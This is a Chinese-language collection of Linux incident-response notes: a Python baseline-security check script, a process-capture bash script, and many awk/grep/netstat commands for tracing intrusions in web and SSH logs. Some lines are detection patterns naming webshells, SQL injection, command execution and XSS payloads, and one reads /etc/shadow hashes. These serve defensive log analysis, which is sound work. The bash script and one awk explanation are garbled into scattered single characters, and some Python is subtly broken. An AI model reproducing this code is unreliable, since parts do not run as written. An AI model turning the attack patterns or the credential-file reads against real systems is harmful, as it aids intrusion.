result["msg"]="存在空弱口令账户%s"%str(shell_process)
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def check_sudo(self): result= {"name":"检查sudo权限异常用户", "level":"critical","service":[""],"user":["root"],"filename":["/etc/sudoers"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True} try: shell_process = os.popen("cat /etc/sudoers 2>/dev/null |grep -v '#'|grep 'ALL=(ALL)'|awk '{print $1}'").read().splitlines() userinfo=[] for user in shell_process: if user.replace("\n", "") != 'root': userinfo.append(user) if not userinfo: result["msg"]="不存在sduo特权异常用户" else: result["check"]=False result["msg"]="存在sudo权限异常用户%s"%str(userinfo) except Exception as e: result["error"]=str(e) finally: self.Result.append(result)
def check_gid(self): result= {"name":"检查特权用户组", "level":"critical","service":[""],"user":["root"],"filename":["/etc/passwd"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True} try: shell_process = os.popen("cat /etc/passwd | grep '/bin/bash' | awk -F: '$4==0 {print $1}' 2>/dev/null").read().splitlines() userinfo=[] for user in shell_process: if user.replace("\n", "") != 'root': userinfo.append(user) if not userinfo: result["msg"]="不存在特权组用户" else: result["check"]=False result["msg"]="存在特权组用户%s"%str(userinfo) except Exception as e: result["error"]=str(e) finally: self.Result.append(result)
def check_passage(self):
result= {"name":"口令过期警告时间天数", "level":"info","service":[""],"user":["root"],"filename":["/etc/login.defs"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.passage).read()
if int(shell_process)>=30:
result["msg"]="口令过期警告时间天数为%s,符合要求" %shell_process
else:
result["check"]=False
result["msg"]="口令过期警告时间天数为%s,不符合要求,建议设置大于等于30并小于口令生存周期" %shell_process
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def check_uid(self):
result= {"name":"查找非root账号UID为0的账号", "level":"critical","service":["ssh","sshd"],"user":["root"],"filename":["/etc/passwd"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.uid).read().splitlines()
if "0" not in shell_process:
result["msg"]="不存在非root账号的账号UID为0,符合要求"
else:
result["check"]=False
result["msg"]="存在非root账号的账号UID为0,不符合要求"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def check_sshdconfig(self):
result= {"name":"检查是否允许root账号登录", "level":"high","service":["ssh","sshd"],"user":["root"],"filename":["/etc/ssh/sshd_config"],"port":["22"],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.sshd_config).read().splitlines()
if shell_process:
result["msg"]="root不能程登录符合要求"
else:
result["check"]=False
result["msg"]="root用户可以远程登录不符合要求"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def check_auditd(self): result= {"name":"检查是否开启日志审计auditd", "level":"high","service":["auditd"],"user":["root"],"filename":["/etc/ssh/sshd_config"],"port":["22"],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True} try: shell_process = os.popen("service auditd status").read().splitlines() for info in shell_process: if "Active: active (running)" in info: result["msg"]="开启了日志审计auditd" result["check"]=True break else: result["check"]=False result["msg"]="没有开启日志审计auditd" except Exception as e: result["error"]=str(e) finally: self.Result.append(result)
def check_bash_history(self):
result= {"name":"历史命令保存的最大条数检测", "level":"high","service":[""],"user":["root"],"filename":["/etc/profile"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.bash_histrory).read().splitlines()[0]
if int (shell_process)<=500:
result["msg"]="历史保存的最大命令条数符合要求"
else:
result["check"]=False
result["msg"]="历史保存的最大命令条数超过500条不符合要求"
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def check_open_Telnet(self): result= {"name":"检查是否开启telnet", "level":"high","service":["telnet"],"user":["root"],"filename":["/etc/xinetd.d/telnet"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True} try: shell_process=os.popen("cat /etc/xinetd.d/telnet | grep disable | awk '{print $3}'")[0] if shell_process!="yes": result["msg"]="没有开启Telnet服务" else: result["check"]=False result["msg"]="开启了telnet服务" except Exception as e: result["error"]=str(e) finally: self.Result.append(result) ## 2.13 查是否开启nfs服务 def check_open_nfs(self): result= {"name":"检查是否开启nfs服务", "level":"high","service":["NFS"],"user":["root"],"filename":[""],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True} try: shell_process=os.popen("chkconfig --list nfs |grep on").read().splitlines() if not shell_process: result["msg"]="没有开启nfs服务" else: result["check"]=False result["msg"]="开启了nfs服务" except Exception as e: result["error"]=str(e) finally: self.Result.append(result)
def check_file_analysis(self): result= {"name":"检查重要系统文件权限", "level":"high","service":[""],"user":["root"],"filename":['/etc/passwd', '/etc/shadow','/etc/group','/etc/securetty','/etc/services','/etc/xinetd.conf','/etc/grub.conf','/etc/lilo.conf'],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True} try: files = ['/etc/passwd', '/etc/shadow','/etc/group','/etc/securetty','/etc/services','/etc/xinetd.conf','/etc/grub.conf','/etc/lilo.conf'] file_info=[] for file in files: if not os.path.exists(file): continue shell_process = os.popen("ls -l " + file + " 2>/dev/null |awk '{print $1}'").read().splitlines() if len(shell_process) != 1: continue if file == '/etc/passwd' and shell_process[0] != '-rw-r--r--': info= "/etc/passwd 文件权限变更",shell_process[0] file_info.append(info) elif file == '/etc/shadow' and shell_process[0] != '----------': info="/etc/shadow 文件权限变更",shell_process[0] file_info.append(info) elif file == '/etc/group' and shell_process[0] != '-rw-r--r--': info= "/etc/group 文件权限变更%s",shell_process[0] file_info.append(info) elif file == '/etc/securetty' and shell_process[0] != '-rw-------': info= "/etc/securetty 文件权限变更",shell_process[0] file_info.append(info) elif file == '/etc/services' and shell_process[0] != '-rw-------': info= "/etc/services 文件权限变更",shell_process[0] file_info.append(info) elif file == '/etc/xinetd.conf' and shell_process[0] != '-rw-------': info= "/etc/xinetd.conf 文件权限变更",shell_process[0] file_info.append(info) elif file == '/etc/grub.conf' and shell_process[0] != '-rw-------': info= "/etc/grub.conf 文件权限变更",shell_process[0] file_info.append(info) elif file == '/etc/lilo.conf' and shell_process[0] != '-rw-------': info="/etc/lilo.conf 文件权限变更",shell_process[0] file_info.append(info) if not file_info: result["msg"]="重要系统文件权限没有变更。" else: result["check"]=False result["msg"]="文件权限发生变更%s"%str(file_info) except Exception as e: result["error"]=str(e) finally: self.Result.append(result)
def check_authorized_keys(self):
result= {"name":"检查ssh免密码登录", "level":"critical","service":["sshd","ssh"],"user":["root"],"filename":[".ssh/authorized_keys"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
for dir in os.listdir('/home/'):
self.file_analysis( os.path.join('%s%s%s' % ('/home/', dir, '/.ssh/authorized_keys')),dir)
self.file_analysis('/root/.ssh/authorized_keys', 'root')
if not self.ssh_authorized_user:
result["msg"]="不存在免密码登录"
else:
result["check"]=False
result["msg"]="存在免密码登录%s"%str(self.ssh_authorized_user)
except Exception as e:
result["error"]=str(e)
finally:
self.Result.append(result)
def file_analysis(self, file, user): try: if os.path.exists(file): shell_process = os.popen("cat " + file + " 2>/dev/null |awk '{print $3}'").read().splitlines() ## 2.17 print (shell_process) if shell_process: self.ssh_authorized_user[file]=shell_process #print (self.ssh_authorized_user) return except: return def run(self): self.check_passmax() self.check_passmin() self.check_passlen() self.check_passage() self.check_uid() self.check_sshdconfig() self.check_auditd() self.check_bash_history() self.check_open_Telnet() self.check_empty() self.check_gid() self.check_sudo() self.check_open_nfs() self.check_file_analysis() self.check_authorized_keys() if __name__ == '__main__': obj=Linux_Check() obj.run() print (json.dumps(obj.Result,encoding='UTF-8', ensure_ascii=False))
注意事项:
首先要注意以下几件事:
捕捉短连接脚本
#!/bin/bash ip=127.0.0.1 i=1 while : do tmp=netstat -anplt|grep $ip|awk -F '[/]' '{print $1}'|awk '{print $7}'
#echo
t
m
p
i
f
t
e
s
t
−
z
"
tmp if test -z "
tmpiftest−z"tmp"
then
((i=i+1))
else
for pid in
t
m
p
;
d
o
e
c
h
o
"
P
I
D
:
"
tmp; do echo "PID: "
tmp;doecho"PID:"{pid}
result=ls -lh /proc/
p
i
d
∣
g
r
e
p
e
x
e
e
c
h
o
"
P
r
o
c
e
s
s
:
"
pid|grep exe echo "Process: "
pid∣grepexeecho"Process:"{result}
kill -9
p
i
d
d
o
n
e
b
r
e
a
k
f
i
d
o
n
e
e
c
h
o
"
T
o
t
a
l
n
u
m
b
e
r
o
f
t
i
m
e
s
:
"
pid done break fi done echo "Total number of times: "
piddonebreakfidoneecho"Totalnumberoftimes:"{i}
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
比较重要的几个日志:
登录失败记录:/var/log/btmp //lastb 最后一次登录:/var/log/lastlog //lastlog 登录成功记录: /var/log/wtmp //last 登录日志记录:/var/log/secure 目前登录用户信息: /var/run/utmp //w、who、users 历史命令记录:history 仅清理当前用户: history -cSSH登录操作相关的日志有以下几个位置:
/var/log/btmp,记录错误的登录尝试,查询命令:lastb
/var/log/auth.log,记录认证成功的用户
/var/log/secure,记录与安全相关的日志信息
/var/log/lastlog,记录用户上次登录信息
/var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last
/var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w
~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history无法直接查看的需要通过:
strings /var/log/wtmp
来查看内容
正常日志溯源的时候 执行
ps -aux|grep sshd
/var/log/lastlog,记录用户上次登录信息
/var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last
/var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w
~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history
1.查看文件的内容
2.分页显示文件
more:
● more命令查看文件内容,按enter键显示下一行;空格键显示下一页;f键显示下一屏;b键显示上一屏
● more common.log
less:
比more的功能更加丰富,可以查找内容并且高亮显示
● less common.log
● /refer
#查找字符串refer,并且高亮显示
3.显示文件尾
tail:
能够看到文件的最后几行,追加写入的,新写入的内容处于文件的末尾位置
● tail -n2 common.log #-n参数后面跟的数字表示显示文件最后2行
● tail -n200 -f common.log #-f表示tail程序不退出,持续显示文件新增加的行
4.显示文件头
head:
与tail相同,用于显示文件头
● head -n100 common.log
5.内容排序
sort:
按照字符序排列,-n参数,按照数字顺序排列;-r参数,按照逆序排列;-k指定排序的列;-t指定列分割符
● sort -n -r common.log #将common.log中,按照数字、倒序排列
● sort -t ‘ ‘ -k 3 -n -r common.log
6.字符统计
wc:
统计指定文件中的字符数、行数、字数,并输出统计结果。
● wc -l common.log #统计多少行
● wc -c common.log #统计多少字节
● wc -L common.log #统计最长的行的长度
● wc -w common.log #统计包含多少个单词
7.查看重复出现的行
uniq:
显示文件中行重复的次数,或者显示仅出现一次的行,以及仅仅显示重复出现的行;并且uniq的去重针对的只是连续的两行,因此常常与sort结合起来使用
● sort common.log | uniq -c #-c参数用来在每一行前面加上改行出现的次数
● sort common.log | uniq -c -u #-u参数,只显示出现一次的行
● sort common.log | uniq -c -d #-d,展示重复出现的行
8.字符串查找
grep:
查找文件中符合条件的字符串;grep的查找支持正则表达式
● grep refer common.log #在common.log中查找‘refer’字符串并打印出来
● grep -c refer common.log #-c,显示查找到的行数
● grep ‘refer.*legend’ common.log
#查找refer开头,legend结尾的字符串
9.文件查找
find:
知道文件名称,不知掉文件路径,查找文件路径
● find /home/user/ common.log #在home/user下找到common.log的路径
● find /home/user -name “*.py”
#在home/user下找到.py结尾的文件
● find . -print #打印当前目录的所有文件
whereis:
定位文件系统中可执行的文件的位置
● whereis test.py
10.表达式求值
expr:
● expr 10 \* 3 #10*3,*
需要转义
● expr 10 % 3
● expr 10 + 10
● expr index “www.baidu.com” baidu
● expr length “hello world"
11.归档文件
tar:
适用于需要将多个日志文件从服务器拉到本地,以及从本地将文件上传到服务器
● tar -cf log.tar logs_today logs_history #将logs_today和logs_history两个文件夹一起打包为log.tar的文件,-c表示新生成的文件,-f指定文件名
● tar -tf log.tar #-t列出包中文件的名称
● tar -xf log.tar #解压
12.URL访问工具
curl:
支持HTTP\HTTPS\FTP\FTPS\Telnet等多种协议,常被用来在命令行下抓取网页和监控web服务器状态
● curl www.baidu.com #发起网页请求
● curl -i www.baidu.com #-i返回带header的文档
● curl -I www.baidu.com # -I只返回页面的header信息
ls -lrt,显示一下日志有多少条
显示以前登录过的用户信息,last指令会搜索/var/log/wtmp文件(或者是经过-f选项指定的文件),然后列出文件中所有的用户信息
第一列:用户名
第二列:终端位置
pts/0: 意味着从SSH或TELNET的远程连接用户
tty1: 意味着直接连接到计算机或者本地连接用户
第三列:登录IP或者内核
0.0或者什么都没有的话:意味着用户通过本地终端连接
重启活动,会显示内核版本
第四列:开始时间
第五列:结束时间或者状态
still log in: 还在登录
down: 直到正常关机
crash: 直到强制关机
第六列:持续时间
就是最后括号里面的
查看系统每次关机(或重启)的时间和日期
las
● last |tail -n 10
查看指定文件日志
● last -f wtmp -F
每次关机时间
● last -x shutdown
每次重启时间
● last -x reboot
查看系统运行时间
● uptime
查看是谁重启和关闭机器,这里需要启动psacct 服务器,才能有显示
● service psacct start
● lastcomm root
查看日志常用命令
-n 是显示行号;相当于nl命令;例子如下:
tail -100f test.log 实时监控100行日志
tail -n 10 test.log 查询日志尾部最后10行的日志;
tail -n +10 test.log 查询10行之后的所有日志;
跟tail是相反的,tail是看后多少行日志;例子如下:
head -n 10 test.log 查询日志文件中的头10行日志;
head -n -10 test.log 查询日志文件除了最后10行的其他所有日志;
tac是倒序查看,是cat单词反写;例子如下:
cat -n test.log |grep "debug" 查询关键字的日志
0x03 命令汇总
cat /etc/passwd | grep /bin/bash
who /var/log/wtmp > /root/name.txt
history
find /etc -name init
awk '{print $1}' xxx.log >ip.txt
tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'
awk '$9 = 502 { print $0 }' access.log
awk '$9 = 503 { print $0 }' access.log
awk '$9 = 504 { print $0 }' access.log
awk '($9 ~/404/)' access.log | awk '{print $9,$7}' | sort# 统计http status.
cat access.log |awk '{counts[$(9)]+=1}; END {for(code in counts) print code, counts[code]}'
cat access.log |awk '{print $9}'|sort|uniq -c|sort -rn
cat error.log | grep -B 5 'nick' 显示nick及前5行
cat error.log | grep -A 5 'nick' 显示nick及后5行
cat error.log | grep -C 5 'nick' 显示file文件里匹配nick字串那行以及上下5行
cat error.log | grep -n -B10 -A10 5 'nick' 显示file文件里匹配nick字串前后10行
cat -n test.log |tail -n +1000|head -n 20
从第1000行开始,显示20行cat catalina.out | head -n 1400| tail -n +1350
显示1350行到1400行 (实现原理都差不多,就是通过语法糖)sed -n '/2014-12-17 16:17:20/,/2014-12-17 16:17:36/p' test.log
grep '2014-12-17 16:17:20' test.log
来确定日志中是否有该 时间点sed -n ‘10000,20000p’ test.log
sed -i '/关键词/d' catalina.out 删除包含关键词的行
日志内容特别多,打印在屏幕上不方便查看
(1)使用more和less命令,
如:cat -n test.log |grep "debug" |more
这样就分页打印了,通过点击空格键翻页
(2)使用 >xxx.txt
将其保存到文件中,到时可以拉下这个文件分析
如:cat -n test.log |grep "debug" >debug.txt
watch "awk '{if($9~/200|30|404/)COUNT[$4]++}END{for( a in COUNT) print a,COUNT[a]}' log_file|sort -k 2 -nr|head -n10"# 带宽统计
cat apache.log |awk '{if($7~/GET/) count++}END{print "client_request="count}'
cat apache.log |awk '{BYTE+=$11}END{print "client_kbyte_out="BYTE/1024"KB"}'
sort ip.txt |uniq -c
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr
awk '{print $1}' log_file|sort|uniq|wc -l
awk '{print $1}' access.log|sort | uniq -c |wc -l
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
cat file | awk -F " " '{print $1}' | awk '{cnt[$0]++}END{for(i in cnt){print i,cnt[i]}}'
cat file | awk -F " " '{print $1}' | awk '{cnt[$0]++}END{for(i in cnt){print i,cnt[i]}}'
cat file | awk '{print $(NF-1)}'|awk ' {print int($0)}' |awk '{cnt[$0]++;total++}END {for(i in cnt) {print i"~"i+1,cnt[i],cnt[i]/total*100"%"}}' | sort -n
print简单一点,方便理解
print i,cnt[i],cnt[i]/total
printf("%d~%d %d %f%\n",i,i+1,cnt[i],cnt[i]/total)
· int(
(
N
F
−
1
)
)
对数组进行取整
⋅
四舍五入可以用
i
n
t
(
(NF-1))对数组进行取整 · 四舍五入可以用 int(
(NF−1))对数组进行取整⋅四舍五入可以用int((NF-1)+0.5)
· sort-n结果按数字排序
· print和 printf可任意选取使用
cat file | awk '{print $NF, $4}'| awk -F"[ :]" '{print $1,$3}' | awk ' { sum[$2]+=$1; cnt[$2]++} END { for(i in sum) { print i, sum[i]/cnt[i] }}' | sort -n
· -F"[ :]"指用空格或者冒号作为分隔符
· 由于一次切割不容易获取到想要的字符串,故多做几次切割
· 用两个数组用于分小时统计
cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more
cat /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -rn|more
cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more
grep ' 200 ' /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more
awk '{print $7}' access.log|wc -l
grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt
cat file | awk '{a+=$(NF-1);b++}END{print a/b}'
cat access.log | awk '{print $11}' | sed -e ' s/http:\/\///'
cat access.log | grep "10.0.21.17" | awk '{print $8}' | sort | uniq -c | sort -nr | head -n 10
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
awk -vFS="[:]" '{gsub("-.*","",$1);num[$2" "$1]++}END{for(i in num)print i,num[i]}' log_file | sort -n -k 3 -r | head -10
awk '{print $1}' access.log | grep "20/Mar/2011" |cut -c 14-18|sort|uniq -c|sort -nr|head
if [ $DATE_MINUTE != $DATE_END_MINUTE ] ;then #则判断开始时间戳与结束时间戳是否相等START_LINE=`sed -n "/$DATE_MINUTE/=" $APACHE_LOG|head -n1` #如果不相等,则取出开始时间戳的行号,与结束时间戳的行号
cat access.log | awk '{print substr($4,14,5)}' | uniq -c | awk '{print $2","$1}' > access.csv
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
awk '{print $1}' access.log | sort -n |uniq -c | sort -rn | head -n 10
cat /tmp/access.log | grep "20/Mar/2011" |awk '{print $3}'|sort |uniq -c|sort -nr|head
awk '{print $7}' access.log | sort |uniq -c | sort -rn | head -n 10
awk '{a[$1]++}END{for (j in a) print a[j],j}' /var/log/nginx/access.log|sort -nr|head -10
cat linewow-access.log|awk '{print $1}'|sort|uniq -c|sort -nr|head -10
cat log_file | egrep '15/Aug/2015|16/Aug/2015' |awk '{print $1}'|sort|uniq -c|sort -nr|head -10
cat access.log | awk '{print $4,$7,$NF}' | awk -F '"' '{print $1,$2,$3}' | sort -k3 -rn | head -10
awk '{print $4}' access.log |cut -c 14-21|sort|uniq -c|sort -nr|head -n 100
awk '{print $4}' access.log |cut -c 14-18|sort|uniq -c|sort -nr|head -n 100
awk '{print $4}' access.log |cut -c 14-15|sort|uniq -c|sort -nr|head -n 100
awk '{print $1}' access.log | sort -n |uniq -c |awk '{if($1 >100) print $0}'|sort -rn
cat access.log | cut -d ' ' -f 7 | sort |uniq -c | awk '{if ($1 > 100) print $0}' | less
tail -1000 access.log |awk '{print $7}'|sort|uniq -c|sort -nr|less
grep -v ".php" access.log | awk '{print $7}' | sort |uniq -c | sort -rn | head -n 100
grep "/index.php" log_file | wc -l
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
cat access.log |grep '04/May/2012'| awk '{print $11}'|sort|uniq -c|sort -nr|head -20
sed -n '/2019-11-25 11:00:00/,/2019-11-25 12:00:00/p' xxx.log > out.log
PS:分析2015/8/15 到 2015/8/16 访问"/index.php?g=Member&m=Public&a=sendValidCode"
的IP倒序排列
cat log_file | egrep '15/Aug/2015|16/Aug/2015' | awk '{if($7 == "/index.php?g=Member&m=Public&a=sendValidCode") print $1,$7}'|sort|uniq -c|sort -nr
($7~/\.php/) $7
里面包含.php的就输出,本句的意思是最耗时的一百个PHP页面cat log_file |awk '($7~/\.php/){print $NF " " $1 " " $4 " " $7}'|sort -nr|head -100
grep '104.217.108.66' access.log |awk '{print $7}'|sort |uniq -c |sort -rn |head -n 100
ps -ef | awk -F ' ' '{print $8 " " $9}' |sort | uniq -c |sort -nr |head -20
cat www.access.log |awk '($7~/\.php/){print $10 " " $1 " " $4 " " $7}'|sort -nr|
cat www.access.log |awk '($10 > 200000 && $7~/\.php/){print $7}'|sort -n|uniq -c|sor
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
grep "07/Apr/2019:0[7-9]" access.log | awk '{print $1}' | sort | uniq -c| sort -nr | wc -l
cat www.access.log |awk '($7~/\.php/){print $NF " " $1 " " $4 " " $7}'|sort -nr|head -100
cat access.log|awk '($NF > 3){print $7}'|sort -n|uniq -c|sort -nr|head -20
cat access.log|awk '($NF > 1 && $7~/\.php/){print $7}'|sort -n|uniq -c|sort -nr|head -100
cat access.log |awk '($NF > 60 && $7~/\.php/){print $7}'|sort -n|uniq -c|sort -nr|head -100
more xx.log |grep "asp. jpg"
grep "[[:space:]]404[[:space:]]" /usr/local/nginx/logs/access_bwapp.log | awk '{cnt[$1]++;}END{for(i in cnt){printf("%s\t%s\n", cnt[i], i);}}' | sort -n
PS:https://github.com/loveshell/ngx_lua_waf/tree/master/wafconf">https://github.com/loveshell/ngx_lua_waf/tree/master/wafconf 网上开源WAF规则库正则可疑参考
egrep -i --color=auto "AppScan|acunetix|Netsparker|WebCruiser|owasp|ZAP|vega|Nikto|nikto|w3af" /usr/local/nginx/logs/access_bwapp.log
egrep -i --color=auto "union(.*)select|select(.*)from" /usr/local/nginx/logs/access_bwapp.log
egrep -i --color=auto "system\(.*\)|eval\(.*\)" /usr/local/nginx/logs/access_bwapp.log
egrep -i --color=auto "portal.php" /usr/local/nginx/logs/access_bwapp.log | grep "[[:space:]]200[[:space:]]" | awk -F " " {'print $1'} | sort | uniq -c
egrep -i --color=auto "r57|c99|c100|b374k|aspxspy|phpspy|aspxspy|wso" /usr/local/nginx/logs/access_bwapp.log
egrep -i --color=auto "php\?cmd=|php\?code=|php\?exec=" /usr/local/nginx/logs/access_bwapp.log
email,xpath,ldap,路径分隔符(./ ../../ …..)
)egrep -i --color=auto "php\?file=|php\?page=|php\?include=|\.\/|php?\.\.\/" /usr/local/nginx/logs/access_bwapp.log
egrep -i --color=auto "<script>(.*)</script>|alert\(.*\)" /usr/local/nginx/logs/access_bwapp.log
find /usr/local/nginx/html/ -type f | xargs egrep "eval|system"
快速提取各种敏感状态码:
● 404 其实,正常用户在网站页面上点击访问,碰到404的概率并不多,如果你发现短时间出现大批量的404,很有可能都是由于入侵者在尝试扫描各种敏感目录文件所致
● 像这种过于敏感的操作,现如今的waf一般都会进行拦截,短时间某个ip访问量剧增,再典型不过的攻击特征…
● 403 通常目标都会把一些不想让用户访问到的敏感路径,比如,网站后台,各类数据库的web入口,其他中间件的web入口,等等…
● 401 出现这个状态码,很有可能是用户正在尝试登录有http基础认证的页面时,账号密码错误的响应状态
● 500 典型的服务器端错误,通常是由于后端脚本或者数据库报错所致,比如,入侵者在尝试一些web漏洞时就很有可能会触发这样的错误,sql注入,代码执行…
grep "[[:space:]]500[[:space:]]" /usr/local/nginx/logs/access_bwapp.log | tee -a nginx_500_log.txt
grep "[[:space:]]404[[:space:]]" /usr/local/nginx/logs/access_bwapp.log
more xx.log |grep "Mozilla/4.0+ XXXXX" |grep 200
cat access.log |awk '{sum+=$10} END {print sum/1024/1024/1024}'
匹配路由关于upload 关键词日志(这条命令上面其它命令有概况,就是匹配敏感关键字来清理数据量)
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
/usr/sbin/tcpdump -i eth0 -l -s 0 -w - dst port 80 | strings | grep -i user-agent | grep -i -E 'bot|crawler|slurp|spider'
cat your.log | grep 'Baiduspider/2.0' | awk '{print $7}' | sort | uniq -c | sort -nr | head -100
cat test.log | grep 'Baiduspider/2.0' | awk '{if($9!="200"){n+=1}}END{print n/NR}'
cat test.log | grep 'Baiduspider/2.0' | awk '{if($9!="200"){print $7,$9}}' | sort | uniq -c | sort -nr
cat test.log | grep 'Baiduspider/2.0' | awk '{print $9}' |sort | uniq -c
- cat test.log | grep 'Baiduspider/2.0' | grep '/catalog/[0-9]' | wc -l
awk '{print $7}' test.log | egrep "[^/\w+/$]" | awk -F"/" '{print $2}' | sort | uniq -c | sort -nr | head -10
grep 'Baiduspider' access.log |wc -l
grep 'Baiduspider' access.log |grep '404' | wc -l
提取出404页面,提交给百度进行处理,分析日志查看网站操作记录,以及找出假的百度蜘蛛IP等
网页版:http://www.loghao.com/“>http://www.loghao.com/
工具(建议虚拟机运行):
链接:https://pan.baidu.com/s/10BnzZNTul3x7vtwZcIFmiQ”>https://pan.baidu.com/s/10BnzZNTul3x7vtwZcIFmiQ 提取码:7nhx
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
netstat -tan | grep "ESTABLISHED" | grep ":80" | wc -l
Linux下查看Web服务器当前的并发连接数和TCP连接状态
● TCP连接的各个状态含义描述如下
● CLOSED 无连接是活动的或正在进行
● LISTEN 服务器在等待进入呼叫
● SYN_RECV 一个连接请求已经到达,等待确认
● SYN_SENT 应用已经开始,打开一个连接
● ESTABLISHED 正常数据传输状态/当前并发连接数
● FIN_WAIT1 应用说它已经完成
● FIN_WAIT2 另一边已同意释放
● ITMED_WAIT 等待所有分组死掉
● CLOSING 两边同时尝试关闭
● TIME_WAIT 另一边已初始化一个释放
● LAST_ACK 等待所有分组死掉
● ESTABLISHED参数后面的值就是当前系统的并发连接数了
方法1:
netstat -pnt | grep :80 | wc -l
方法2:
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
方法3:
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(key in S) print key,"\t",S[key]}'
netstat -n | awk '/^tcp/ {n=split($(NF-1),array,":");if(n<=2)++S[array[(1)]];else++S[array[(4)]];++s[$NF];++N} END {for(a in S){printf("%-20s %s\n", a, S[a]);++I}printf("%-20s %s\n","TOTAL_IP",I);for(a in s) printf("%-20s %s\n",a, s[a]);printf("%-20s %s\n","TOTAL_LINK",N);}'
netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more
netstat -ant | grep $ip:80 | wc -l
netstat -ant | grep $ip:80 | grep EST | wc -l
netstat -ntlp | grep 80 | awk '{print $7}' | cut -d/ -f1
netstat -an | grep ESTABLISHED | wc -l
tcpdump -i eth0 -tnn dst port 80 -c 1000 | awk -F"." '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -n
find / -size -1223124c -size +1223122c -exec ls -id {} \;
netstat -anplt |grep PID
ps aux |grep wget
grep显示前后几行信息
● 标准unix/linux下的grep通过下面參数控制上下文:
grep -C 5 foo file 显示file文件里匹配foo字串那行以及上下5行
grep -B 5 foo file 显示foo及前5行
grep -A 5 foo file 显示foo及后5行
● 查看grep版本号的方法是
grep -V
cat input_file | tail -n +1000 | head -n 2000
grep 查找含有某字符串的所有文件
grep -rn “hello,world!”
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
awk '/\$1|\$6/{print $1}' /etc/shadow
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
grep -o "Failed password" /var/log/secure|uniq -c
cat /var/log/secure
cat /var/log/secure | grep "Accepted password for"
cat /var/log/secure | gre[ "Accepted publickey for"
Failed password for
pam_unix(sshd:auth): authentication failure
grep "Failed password" /var/log/secure|head -1
grep "Failed password" /var/log/secure|tail -1
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure
